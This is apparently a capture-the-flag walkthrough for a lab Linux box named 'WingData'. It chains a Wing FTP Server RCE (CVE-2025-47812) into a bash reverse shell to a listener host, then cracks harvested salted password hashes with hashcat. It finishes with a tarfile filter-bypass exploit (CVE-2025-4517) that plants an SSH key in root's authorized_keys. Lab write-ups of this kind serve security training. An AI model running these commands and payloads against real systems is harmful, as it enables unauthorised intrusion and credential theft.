Overview

WingData is an easy Linux box with a satisfying chain. A Wing FTP Server installation exposes an authenticated RCE vulnerability that gets us a foothold, from which we harvest salted SHA-256 hashes from the FTP user files and crack the one belonging to a real system user. Privilege escalation comes from a sudo-allowed Python backup script that uses tarfile.extractall() without properly filtering symlinks, making it vulnerable to a path traversal attack that lets us inject an SSH public key into /root/.ssh/authorized_keys.


Reconnaissance

nmap -sS -sV -p- -Pn 10.129.244.106
22/tcp  open  ssh   OpenSSH 9.2p1 Debian
80/tcp  open  http  Apache httpd 2.4.66

Just SSH and HTTP. Apache is acting as a reverse proxy fronting the Wing FTP web interface. The main site throws a resolution error until we add both domains to /etc/hosts:

sudo nano /etc/hosts
# Add: 10.129.244.106   wingdata.htb ftp.wingdata.htb

http://wingdata.htb is the main company site. http://ftp.wingdata.htb is the Wing FTP client portal login page, and it helpfully exposes the exact version right on the page: Wing FTP Server v7.4.3.


Initial Access — CVE-2025-47812

Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812, an authenticated RCE flaw via Lua scripting. We use the public PoC to verify execution first:

git clone https://github.com/4m3rr0r/CVE-2025-47812-poc
cd CVE-2025-47812-poc

python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami"
# Output: wingftp

Now for the reverse shell. Note that this particular PoC does not URL-decode input before sending the HTTP request, so special characters in the payload will be misinterpreted. The payload needs to be pre-encoded manually:

nc -lvnp 4444
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
  -c 'bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.45%2F4444+0%3E%261%27'

Shell lands as wingftp. Stabilise it:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm

Post-Exploitation Enumeration

Basic checks reveal we’re running as uid=1000(wingftp) on a Debian 6.1.0-42 kernel. /etc/passwd shows a notable system user: wacky.

netstat -tulpn shows a few internal services:

127.0.0.1:8080   unknown service (localhost only)
0.0.0.0:5466     Wing FTP admin panel
0.0.0.0:34749    Wing FTP SFTP service

Credential Harvesting

The Wing FTP installation lives at /opt/wftpserver/. The interesting files are in /opt/wftpserver/Data/:

Data/
├── _ADMINISTRATOR/
│   ├── admins.xml      -- admin account and password hash
│   └── settings.xml    -- admin panel config
└── 1/
    ├── settings.xml    -- domain config including password salting settings
    └── users/          -- individual FTP user account files

Password Salting Config

/opt/wftpserver/Data/1/settings.xml reveals how passwords are hashed:

<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
<EnableSHA256>1</EnableSHA256>

Passwords are SHA-256 hashed with the salt WingFTP appended — hashcat mode 1410 (sha256($pass.$salt)).

FTP User Hashes

From /opt/wftpserver/Data/1/users/:

Username Hash
anonymous d67f86152e5c4df1b0ac4a18d3ca4a89…
john c1f14672feec3bba27231048271fcdcd…
maria a70221f33a51dca76dfd46c17ab17116…
steve 5916c7481fa2f20bd86f4bdb900f0342…
wacky 32940defd3c3ef70a2dd44a5301ff984…

wacky is the most valuable target — they’re a real system user on the box, and their FTP account shows LoginCount: 2 from 127.0.0.1, suggesting active use and likely password reuse.

Cracking with Hashcat

Create a file with the hash in hash:salt format:

echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hashes.txt
hashcat -m 1410 hashes.txt /usr/share/wordlists/rockyou.txt

Cracks to: !#7Blushing^*Bride5


SSH as wacky

ssh wacky@10.129.244.106
# Password: !#7Blushing^*Bride5

User flag is at ~/user.txt.


Running sudo -l immediately reveals something interesting:

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Reading the script at /opt/backup_clients/restore_backup_clients.py, it accepts a tar filename and a restore directory name, validates both with regex, then extracts the tar to a staging directory:

with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

This looks safe at first glance — the filter="data" argument was introduced in Python 3.12 specifically to block path traversal. However, the script is vulnerable to CVE-2025-4517 (and related CVE-2025-4138), which bypasses the tarfile.extractall() filter via a RealPath overflow. By crafting a tar containing deeply nested symlinks that overflow the path length check, the filter can be tricked into extracting files to arbitrary locations on the filesystem — as root.

Step 1 — Generate an SSH keypair on your attack machine

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub

Step 2 — Build the malicious tar

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC
cd CVE-2025-4138-4517-POC

python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./backup_101.tar

Note the backup filename must match backup_<integer>.tar as validated by the script.

Step 3 — Transfer the tar to the target

scp backup_101.tar wacky@wingdata.htb:/opt/backup_clients/backups/

Step 4 — Trigger the extraction as root

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_101.tar -r restore_pwn

The symlink traversal writes your public key to /root/.ssh/authorized_keys.

Step 5 — SSH in as root

ssh -i ~/.ssh/id_ed25519 root@wingdata.htb

Root flag is at /root/root.txt.


Attack Chain Summary

Step Detail
Recon nmap, vhost → ftp.wingdata.htb running Wing FTP v7.4.3
RCE CVE-2025-47812 Lua script injection → shell as wingftp
Hash harvest /opt/wftpserver/Data/1/users/ → SHA-256 salted hashes
Hash crack hashcat mode 1410 (sha256($pass.$salt)) → wacky:!#7Blushing^*Bride5
User flag ssh wacky@wingdata.htb~/user.txt
Sudo restore_backup_clients.py runs as root with wildcard argument
Privesc CVE-2025-4517 tar symlink bypass → inject SSH pubkey into /root/.ssh/authorized_keys
Root flag ssh -i id_ed25519 root@wingdata.htb/root/root.txt